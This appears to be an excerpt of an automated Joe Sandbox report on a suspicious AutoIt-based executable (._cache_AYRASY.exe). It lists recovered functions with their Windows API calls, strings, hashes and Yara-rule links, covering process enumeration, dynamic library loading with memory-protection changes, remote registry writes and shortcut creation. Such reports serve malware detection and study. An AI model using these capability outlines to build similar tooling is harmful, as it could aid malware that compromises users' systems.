Opcode ID: 0e6645a035a970fdf3ca9062052c89a29ca30d0224a4e5ee79f484537649f4a7
Instruction ID: 5f56882f9d5f8eec572592dff47d35354273a34a9b36e45aae3ec937d5479fee
Opcode Fuzzy Hash: 0e6645a035a970fdf3ca9062052c89a29ca30d0224a4e5ee79f484537649f4a7
Instruction Fuzzy Hash: 7B117975204701BFE7218B65EC48F777BBAEBC9B51F218028F416866A0DB71DD40DAA0

Function 001B6F5B Relevance: 9.1, APIs: 6, Instructions: 71processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,?,00000000), ref: 001B6F7D
Process32FirstW.KERNEL32(00000000,0000022C), ref: 001B6F8D
Process32NextW.KERNEL32(00000000,0000022C), ref: 001B6FAC
__wsplitpath.LIBCMT ref: 001B6FD0
_wcscat.LIBCMT ref: 001B6FE3
CloseHandle.KERNEL32(00000000,?,00000000), ref: 001B7022

Memory Dump Source

Source File: 00000002.00000002.3410569798.0000000000171000.00000040.00000001.01000000.00000005.sdmp, Offset: 00170000, based on PE: true

Associated: 00000002.00000002.3410439682.0000000000170000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000021E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000022A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.0000000000253000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.00000000002DC000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411283577.00000000002E2000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411369787.00000000002E3000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_170000_UNK_.jbxd

Similarity

API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32__wsplitpath_wcscat
String ID:
API String ID: 1605983538-0
Opcode ID: 8bd5608172f3c7258e69d79608d711c9dc5d5d7475d20fe434265a5841aaa343
Instruction ID: 204b4e85df92b2b2cb49b4dc0606c20cef43f2ce6e72e7c6e2d4930e9abdaa94
Opcode Fuzzy Hash: 8bd5608172f3c7258e69d79608d711c9dc5d5d7475d20fe434265a5841aaa343
Instruction Fuzzy Hash: 78219F71904219ABDB11ABA5DC88BEEB7BDAB59304F1004EAF505E3181E775AFC4CB60

Function 002E20D0 Relevance: 7.7, APIs: 5, Instructions: 206librarymemoryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(?), ref: 002E220A
GetProcAddress.KERNEL32(?,002DBFF9), ref: 002E2228
ExitProcess.KERNEL32(?,002DBFF9), ref: 002E2239
VirtualProtect.KERNEL32(00170000,00001000,00000004,?,00000000), ref: 002E2287
VirtualProtect.KERNEL32(00170000,00001000), ref: 002E229C

Memory Dump Source

Source File: 00000002.00000002.3411283577.00000000002E2000.00000080.00000001.01000000.00000005.sdmp, Offset: 00170000, based on PE: true

Associated: 00000002.00000002.3410439682.0000000000170000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.0000000000171000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000021E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000022A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.0000000000253000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.00000000002DC000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411369787.00000000002E3000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_170000_UNK_.jbxd

Similarity

API ID: ProtectVirtual$AddressExitLibraryLoadProcProcess
String ID:
API String ID: 1996367037-0
Opcode ID: 2d0eff96b3bd31e6c293c13b80f90b9fcc516fecbb28576c2b05e8ea84deffe4
Instruction ID: 35f912926b5d8df917975f21c2eedf29234e29db1744217491f1db1aed51bfd4
Opcode Fuzzy Hash: 2d0eff96b3bd31e6c293c13b80f90b9fcc516fecbb28576c2b05e8ea84deffe4
Instruction Fuzzy Hash: 6D510A726F4293CAD7249EB9CC80660779CEB513207980738CAE7CB3C6E790591D8760

Function 001BEFCD Relevance: 7.3, APIs: 3, Strings: 1, Instructions: 261comCOMMON

Download Yara Rule

APIs

Part of subcall function 001B78AD: GetFullPathNameW.KERNEL32(?,00000105,?,?), ref: 001B78CB

CoInitialize.OLE32(00000000), ref: 001BF04D
CoCreateInstance.COMBASE(001FDA7C,00000000,00000001,001FD8EC,?), ref: 001BF066
CoUninitialize.COMBASE ref: 001BF083

Part of subcall function 001784A6: __swprintf.LIBCMT ref: 001784E5
Part of subcall function 001784A6: __itow.LIBCMT ref: 00178519

Strings

.lnk, xrefs: 001BF02B, 001BF03D

Memory Dump Source

Source File: 00000002.00000002.3410569798.0000000000171000.00000040.00000001.01000000.00000005.sdmp, Offset: 00170000, based on PE: true

Associated: 00000002.00000002.3410439682.0000000000170000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000021E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000022A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.0000000000253000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.00000000002DC000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411283577.00000000002E2000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411369787.00000000002E3000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_170000_UNK_.jbxd

Similarity

API ID: CreateFullInitializeInstanceNamePathUninitialize__itow__swprintf
String ID: .lnk
API String ID: 2126378814-24824748
Opcode ID: 76732f29bd50e969bdf98e79e7ddd9485e6c0217fde9315ab22a7e74fa436401
Instruction ID: d3505b035ce1b33fcb88353680ec40b7e21d3faad81b4c4d789c99cb2d388cdc
Opcode Fuzzy Hash: 76732f29bd50e969bdf98e79e7ddd9485e6c0217fde9315ab22a7e74fa436401
Instruction Fuzzy Hash: 1FA12535604301AFC714DF54C884E6ABBF6BF98320F14899CF99A9B2A1CB31ED45CB91

Function 0018DD92 Relevance: 4.5, APIs: 3, Instructions: 26fileCOMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNEL32(0017C848,0017C848), ref: 0018DDA2
FindFirstFileW.KERNEL32(0017C848,?), ref: 001E4A83

Memory Dump Source

Source File: 00000002.00000002.3410569798.0000000000171000.00000040.00000001.01000000.00000005.sdmp, Offset: 00170000, based on PE: true

Associated: 00000002.00000002.3410439682.0000000000170000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000021E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000022A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.0000000000253000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.00000000002DC000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411283577.00000000002E2000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411369787.00000000002E3000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_170000_UNK_.jbxd

Similarity

API ID: File$AttributesFindFirst
String ID:
API String ID: 4185537391-0
Opcode ID: b2ea965d825451eb983ebe287d44f26c25719100d18cc0bfc0e4818a9d7a72a5
Instruction ID: 59eee11c1f6e6839bc9cc62fddf5f92b7b1ce379624d461c556106e5b07c9638
Opcode Fuzzy Hash: b2ea965d825451eb983ebe287d44f26c25719100d18cc0bfc0e4818a9d7a72a5
Instruction Fuzzy Hash: 51E0DF32418901AB82187778FC0D8FE379D9B46338B200755F836C24E0EB70AE91CBDA

Function 0017DCD0 Relevance: 3.5, APIs: 2, Instructions: 540COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.3410569798.0000000000171000.00000040.00000001.01000000.00000005.sdmp, Offset: 00170000, based on PE: true

Associated: 00000002.00000002.3410439682.0000000000170000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000021E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000022A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.0000000000253000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.00000000002DC000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411283577.00000000002E2000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411369787.00000000002E3000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_170000_UNK_.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b02488b0d1ea7ec57267e356ef34d2506881048cf940c3589db46a457d73e68a
Instruction ID: 833a1b00c35ffca5930e48cd40cbb0a1412a5929a2a4d905452affec2b8b0e19
Opcode Fuzzy Hash: b02488b0d1ea7ec57267e356ef34d2506881048cf940c3589db46a457d73e68a
Instruction Fuzzy Hash: AD229E70A00209DFDB24DF98D491ABEB7F0FF19310F15C0A9E85A9B391E771A985CB91

Function 00183680 Relevance: 2.5, APIs: 1, Instructions: 986COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.3410569798.0000000000171000.00000040.00000001.01000000.00000005.sdmp, Offset: 00170000, based on PE: true

Associated: 00000002.00000002.3410439682.0000000000170000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000021E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000022A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.0000000000253000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.00000000002DC000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411283577.00000000002E2000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411369787.00000000002E3000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_170000_UNK_.jbxd

Similarity

API ID: BuffCharUpper
String ID:
API String ID: 3964851224-0
Opcode ID: eeaf8184224624fbc5f140214b8dd0d995f5544a0850ef8ffe0f5be632e535d6
Instruction ID: 4b011729de1b1122439015d9caeef8a4714d0a9d87da61ffac72718da23588d8
Opcode Fuzzy Hash: eeaf8184224624fbc5f140214b8dd0d995f5544a0850ef8ffe0f5be632e535d6
Instruction Fuzzy Hash: 9E9269706082418FD724EF18C494B6AB7F0BF98704F58885DF99A8B292D771EE45CF92

Function 001EC146 Relevance: 1.5, APIs: 1, Instructions: 7COMMON

Download Yara Rule

APIs

GetUserNameW.ADVAPI32 ref: 001EC158

Memory Dump Source

Source File: 00000002.00000002.3410569798.0000000000171000.00000040.00000001.01000000.00000005.sdmp, Offset: 00170000, based on PE: true

Associated: 00000002.00000002.3410439682.0000000000170000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000021E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000022A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.0000000000253000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.00000000002DC000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411283577.00000000002E2000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411369787.00000000002E3000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_170000_UNK_.jbxd

Similarity

API ID: NameUser
String ID:
API String ID: 2645101109-0
Opcode ID: 3c767dc3cf493700f796d612fc3552bfa2c54f4e8e3ff31bf29e0d21f6a5de93
Instruction ID: d9a421bec3f9fb996cc4a8dbb19242213f2ed413f70f78b1a41aaac1420541f2
Opcode Fuzzy Hash: 3c767dc3cf493700f796d612fc3552bfa2c54f4e8e3ff31bf29e0d21f6a5de93
Instruction Fuzzy Hash: C7C04CB140400DEFCB15CB90D9859FFB7BCBB04300F204495A116E2000D7709B459B71

Function 0017E1F0 Relevance: 49.8, APIs: 24, Strings: 4, Instructions: 815windowsleeptimeCOMMON

Download Yara Rule

APIs

PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 0017E279
timeGetTime.WINMM ref: 0017E51A
TranslateMessage.USER32(?), ref: 0017E646
DispatchMessageW.USER32(?), ref: 0017E651
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 0017E664
LockWindowUpdate.USER32(00000000), ref: 0017E697
DestroyWindow.USER32 ref: 0017E6A3
GetMessageW.USER32(?,00000000,00000000,00000000), ref: 0017E6BD
Sleep.KERNEL32(0000000A), ref: 001E5B15
TranslateMessage.USER32(?), ref: 001E62AF
DispatchMessageW.USER32(?), ref: 001E62BD
GetMessageW.USER32(?,00000000,00000000,00000000), ref: 001E62D1

Strings

@GUI_CTRLID, xrefs: 001E5BB9
@GUI_CTRLHANDLE, xrefs: 001E5C51
@TRAY_ID, xrefs: 001E5D6E
@GUI_WINHANDLE, xrefs: 001E5C05

Memory Dump Source

Source File: 00000002.00000002.3410569798.0000000000171000.00000040.00000001.01000000.00000005.sdmp, Offset: 00170000, based on PE: true

Associated: 00000002.00000002.3410439682.0000000000170000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000021E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000022A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.0000000000253000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.00000000002DC000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411283577.00000000002E2000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411369787.00000000002E3000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_170000_UNK_.jbxd

Similarity

API ID: Message$DispatchPeekTranslateWindow$DestroyLockSleepTimeUpdatetime
String ID: @GUI_CTRLHANDLE$@GUI_CTRLID$@GUI_WINHANDLE$@TRAY_ID
API String ID: 2641332412-570651680
Opcode ID: 9f2ddca28f06a1468f7290ecb01dcc05205b32577f9119a66624e37e4cb2933b
Instruction ID: 03057ccab5f5914649c74d5d29724bd969b48266f02d1b10a4712d48334448c2
Opcode Fuzzy Hash: 9f2ddca28f06a1468f7290ecb01dcc05205b32577f9119a66624e37e4cb2933b
Instruction Fuzzy Hash: D262D270508780DFDB24DF24C885BAA77F5BF58308F1489ADF94A8B292DB71D984CB52

Function 001A6A28 Relevance: 47.9, APIs: 26, Strings: 1, Instructions: 626fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

___createFile.LIBCMT ref: 001A6C73
___createFile.LIBCMT ref: 001A6CB4
GetLastError.KERNEL32(?,?,?,?,?,00000000,00000109), ref: 001A6CDD
__dosmaperr.LIBCMT ref: 001A6CE4
GetFileType.KERNEL32(00000000,?,?,?,?,?,00000000,00000109), ref: 001A6CF7
GetLastError.KERNEL32(?,?,?,?,?,00000000,00000109), ref: 001A6D1A
__dosmaperr.LIBCMT ref: 001A6D23
CloseHandle.KERNEL32(00000000,?,?,?,?,?,00000000,00000109), ref: 001A6D2C
__set_osfhnd.LIBCMT ref: 001A6D5C
__lseeki64_nolock.LIBCMT ref: 001A6DC6
__close_nolock.LIBCMT ref: 001A6DEC
__chsize_nolock.LIBCMT ref: 001A6E1C
__lseeki64_nolock.LIBCMT ref: 001A6E2E
__lseeki64_nolock.LIBCMT ref: 001A6F26
__lseeki64_nolock.LIBCMT ref: 001A6F3B
__close_nolock.LIBCMT ref: 001A6F9B

Part of subcall function 0019F84C: CloseHandle.KERNEL32(00000000,0021EEC4,00000000,?,001A6DF1,0021EEC4,?,?,?,?,?,?,?,?,00000000,00000109), ref: 0019F89C
Part of subcall function 0019F84C: GetLastError.KERNEL32(?,001A6DF1,0021EEC4,?,?,?,?,?,?,?,?,00000000,00000109), ref: 0019F8A6
Part of subcall function 0019F84C: __free_osfhnd.LIBCMT ref: 0019F8B3
Part of subcall function 0019F84C: __dosmaperr.LIBCMT ref: 0019F8D5

Part of subcall function 0019889E: __getptd_noexit.LIBCMT ref: 0019889E

__lseeki64_nolock.LIBCMT ref: 001A6FBD
CloseHandle.KERNEL32(00000000,?,?,?,?,?,00000000,00000109), ref: 001A70F2
___createFile.LIBCMT ref: 001A7111
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000109), ref: 001A711E
__dosmaperr.LIBCMT ref: 001A7125
__free_osfhnd.LIBCMT ref: 001A7145
__invoke_watson.LIBCMT ref: 001A7173
__wsopen_helper.LIBCMT ref: 001A718D

Strings

@, xrefs: 001A6D48

Memory Dump Source

Source File: 00000002.00000002.3410569798.0000000000171000.00000040.00000001.01000000.00000005.sdmp, Offset: 00170000, based on PE: true

Associated: 00000002.00000002.3410439682.0000000000170000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000021E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000022A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.0000000000253000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.00000000002DC000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411283577.00000000002E2000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411369787.00000000002E3000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_170000_UNK_.jbxd

Similarity

API ID: __lseeki64_nolock$ErrorFileLast__dosmaperr$CloseHandle___create$__close_nolock__free_osfhnd$Type__chsize_nolock__getptd_noexit__invoke_watson__set_osfhnd__wsopen_helper
String ID: @
API String ID: 3896587723-2766056989
Opcode ID: c28529b102f71f26e7cacba665d5857e9285aff6ffe2964fb7285e765518ad16
Instruction ID: 096fb762a27bd20a2dec740f1787d094352eda29c5609323183177d399f61afd
Opcode Fuzzy Hash: c28529b102f71f26e7cacba665d5857e9285aff6ffe2964fb7285e765518ad16
Instruction Fuzzy Hash: 2E223479A042059FEF299F68DC95BBE7B61EB13324F2C4229E521EB2E1C7358D50C760

Function 001B76DB Relevance: 36.9, APIs: 16, Strings: 5, Instructions: 178COMMON

Download Yara Rule

APIs

GetFileVersionInfoSizeW.KERNELBASE(?,?), ref: 001B76ED
GetFileVersionInfoW.KERNELBASE(?,00000000,00000000,00000000,?,?), ref: 001B7713
_wcscpy.LIBCMT ref: 001B7741
_wcscmp.LIBCMT ref: 001B774C
_wcscat.LIBCMT ref: 001B7762
_wcsstr.LIBCMT ref: 001B776D
751C1560.VERSION(?,\VarFileInfo\Translation,?,?,?,?,?,?,00000000,?,?), ref: 001B7789
_wcscat.LIBCMT ref: 001B77D2
_wcscat.LIBCMT ref: 001B77D9
_wcsncpy.LIBCMT ref: 001B7804

Strings

StringFileInfo\, xrefs: 001B775C
04090000, xrefs: 001B77BF
\VarFileInfo\Translation, xrefs: 001B7781
DefaultLangCodepage, xrefs: 001B77EC
%u.%u.%u.%u, xrefs: 001B7867

Memory Dump Source

Source File: 00000002.00000002.3410569798.0000000000171000.00000040.00000001.01000000.00000005.sdmp, Offset: 00170000, based on PE: true

Associated: 00000002.00000002.3410439682.0000000000170000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000021E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000022A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.0000000000253000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.00000000002DC000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411283577.00000000002E2000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411369787.00000000002E3000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_170000_UNK_.jbxd

Similarity

API ID: _wcscat$FileInfoVersion$C1560Size_wcscmp_wcscpy_wcsncpy_wcsstr
String ID: %u.%u.%u.%u$04090000$DefaultLangCodepage$StringFileInfo\$\VarFileInfo\Translation
API String ID: 2588870415-1459072770
Opcode ID: 3c0bec22612c27f3ee36c2f848945ce5953eff176c99af63ac2565a14a2eee68
Instruction ID: e26f87e5a8facde2215b52a565b7a43772b43f263563302568ab5ef6c4ce702a
Opcode Fuzzy Hash: 3c0bec22612c27f3ee36c2f848945ce5953eff176c99af63ac2565a14a2eee68
Instruction Fuzzy Hash: E741F771A44201BAEF01B7649C4BEFF77ACEF6A710F10006AF900A61D3EB74DA51D6A1

Function 00171F04 Relevance: 30.1, APIs: 8, Strings: 9, Instructions: 346COMMON

Download Yara Rule

APIs

Part of subcall function 00177E53: _memmove.LIBCMT ref: 00177EB9

GetForegroundWindow.USER32 ref: 00171FBE
IsWindow.USER32(?), ref: 001E282E

Strings

REGEXPCLASS, xrefs: 001E267A
REGEXPTITLE, xrefs: 001E2629
TITLE, xrefs: 001E27C3
LAST, xrefs: 001E25E7
ALL, xrefs: 001E2795
INSTANCE, xrefs: 001E276D
HANDLE, xrefs: 001E2613
ACTIVE, xrefs: 001E25FD
CLASS, xrefs: 001E2659

Memory Dump Source

Source File: 00000002.00000002.3410569798.0000000000171000.00000040.00000001.01000000.00000005.sdmp, Offset: 00170000, based on PE: true

Associated: 00000002.00000002.3410439682.0000000000170000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000021E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000022A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.0000000000253000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.00000000002DC000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411283577.00000000002E2000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411369787.00000000002E3000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_170000_UNK_.jbxd

Similarity

API ID: Window$Foreground_memmove
String ID: ACTIVE$ALL$CLASS$HANDLE$INSTANCE$LAST$REGEXPCLASS$REGEXPTITLE$TITLE
API String ID: 3828923867-1919597938
Opcode ID: 54b3f3b40c5b89cdf26fd376667d3e6e86dc47bfd6293804861efc44b372d1ac
Instruction ID: e8c94077df00d6cdb51b399b87c5a83162210cbac17d88854e7615e2755f38c1
Opcode Fuzzy Hash: 54b3f3b40c5b89cdf26fd376667d3e6e86dc47bfd6293804861efc44b372d1ac
Instruction Fuzzy Hash: A4D11B30104B42EBCB08EF61D491EADBBF5BF64344F148A2DF455575A2CB30E99ACB92

Function 001D352A Relevance: 26.7, APIs: 9, Strings: 6, Instructions: 477registryCOMMON

Download Yara Rule

APIs

RegConnectRegistryW.ADVAPI32(?,?,?), ref: 001D3626
RegCreateKeyExW.KERNEL32(?,?,00000000,0020DBF0,00000000,?,00000000,?,?), ref: 001D3694
RegCloseKey.ADVAPI32(00000000,00000001,00000000,00000000,00000000), ref: 001D36DC
RegSetValueExW.ADVAPI32(00000001,?,00000000,00000002,?), ref: 001D3765
RegCloseKey.ADVAPI32(?), ref: 001D3A85
RegCloseKey.ADVAPI32(00000000), ref: 001D3A92

Strings

REG_DWORD, xrefs: 001D3956
REG_BINARY, xrefs: 001D3A20
REG_EXPAND_SZ, xrefs: 001D3702
REG_QWORD, xrefs: 001D39D3
REG_SZ, xrefs: 001D37A3
REG_MULTI_SZ, xrefs: 001D384D

Memory Dump Source

Source File: 00000002.00000002.3410569798.0000000000171000.00000040.00000001.01000000.00000005.sdmp, Offset: 00170000, based on PE: true

Associated: 00000002.00000002.3410439682.0000000000170000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000021E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000022A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.0000000000253000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.00000000002DC000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411283577.00000000002E2000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411369787.00000000002E3000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_170000_UNK_.jbxd

Similarity

API ID: Close$ConnectCreateRegistryValue
String ID: REG_BINARY$REG_DWORD$REG_EXPAND_SZ$REG_MULTI_SZ$REG_QWORD$REG_SZ
API String ID: 536824911-966354055
Opcode ID: b0435c3571df383c562bd0c6c6020b3ba984ba8b86ba765124d909111f03be7e
Instruction ID: 9bab60e3d7f5a2a6bdf886df7c0e914ede0ffdf37cc30389cdcd7842cd4ad427
Opcode Fuzzy Hash: b0435c3571df383c562bd0c6c6020b3ba984ba8b86ba765124d909111f03be7e
Instruction Fuzzy Hash: 49024875200602AFCB14EF24C895E2AB7F5FF99320F058559F89A9B361DB70EE41CB42

Function 00174257 Relevance: 19.5, APIs: 4, Strings: 7, Instructions: 235COMMON

Download Yara Rule

APIs

GetModuleFileNameW.KERNEL32(00000000,C:\Users\user\Desktop\._cache_AYRASY.exe,00000104,?,00000000,00000001,00000000), ref: 0017428C

Part of subcall function 0017CAEE: _memmove.LIBCMT ref: 0017CB2F

Part of subcall function 00191BC7: __wcsicmp_l.LIBCMT ref: 00191C50

_wcscpy.LIBCMT ref: 001743C0
GetModuleFileNameW.KERNEL32(00000000,C:\Users\user\Desktop\._cache_AYRASY.exe,00000104,?,?,?,?,00000000,CMDLINE,?,?,00000100,00000000,CMDLINE,?,?), ref: 001E214E

Strings

/AutoIt3ExecuteLine, xrefs: 00174375
/AutoIt3OutputDebug, xrefs: 00174360
CMDLINE, xrefs: 001742DA, 001742DF, 0017430D
CMDLINERAW, xrefs: 001742AD
/ErrorStdOut, xrefs: 0017434B
/AutoIt3ExecuteScript, xrefs: 0017438A
C:\Users\user\Desktop\._cache_AYRASY.exe, xrefs: 00174283, 00174288, 00174292, 001743BB, 001743D9, 001E213B, 001E2192

Memory Dump Source

Source File: 00000002.00000002.3410569798.0000000000171000.00000040.00000001.01000000.00000005.sdmp, Offset: 00170000, based on PE: true

Associated: 00000002.00000002.3410439682.0000000000170000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000021E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000022A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.0000000000253000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.00000000002DC000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411283577.00000000002E2000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411369787.00000000002E3000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_170000_UNK_.jbxd

Similarity

API ID: FileModuleName$__wcsicmp_l_memmove_wcscpy
String ID: /AutoIt3ExecuteLine$/AutoIt3ExecuteScript$/AutoIt3OutputDebug$/ErrorStdOut$C:\Users\user\Desktop\._cache_AYRASY.exe$CMDLINE$CMDLINERAW
API String ID: 861526374-3669391713
Opcode ID: 6bf651cdb8b6b82121ea800e8d26e0c7b333f1f7ef52bfb40b612949d2cad665
Instruction ID: a811bee5c95e32c7fb59b3b10f03f5e9827088ca38816a8d3d98b7dedb9deffd
Opcode Fuzzy Hash: 6bf651cdb8b6b82121ea800e8d26e0c7b333f1f7ef52bfb40b612949d2cad665
Instruction Fuzzy Hash: FB817072900219ABCB05EBE0DD56EEFB7BCAF25350F504019E54AB7082EB706B45CBA1

Function 0018E975 Relevance: 19.4, APIs: 8, Strings: 3, Instructions: 170COMMON

Download Yara Rule

APIs

GetModuleFileNameW.KERNEL32(00000000,?,00000104), ref: 0018EA39
__wsplitpath.LIBCMT ref: 0018EA56

Part of subcall function 0019297D: __wsplitpath_helper.LIBCMT ref: 001929BD

_wcsncat.LIBCMT ref: 0018EA69
__makepath.LIBCMT ref: 0018EA85

Part of subcall function 00192BFF: __wmakepath_s.LIBCMT ref: 00192C13

Part of subcall function 0019010A: std::exception::exception.LIBCMT ref: 0019013E
Part of subcall function 0019010A: __CxxThrowException@8.LIBCMT ref: 00190153

_wcscpy.LIBCMT ref: 0018EABE

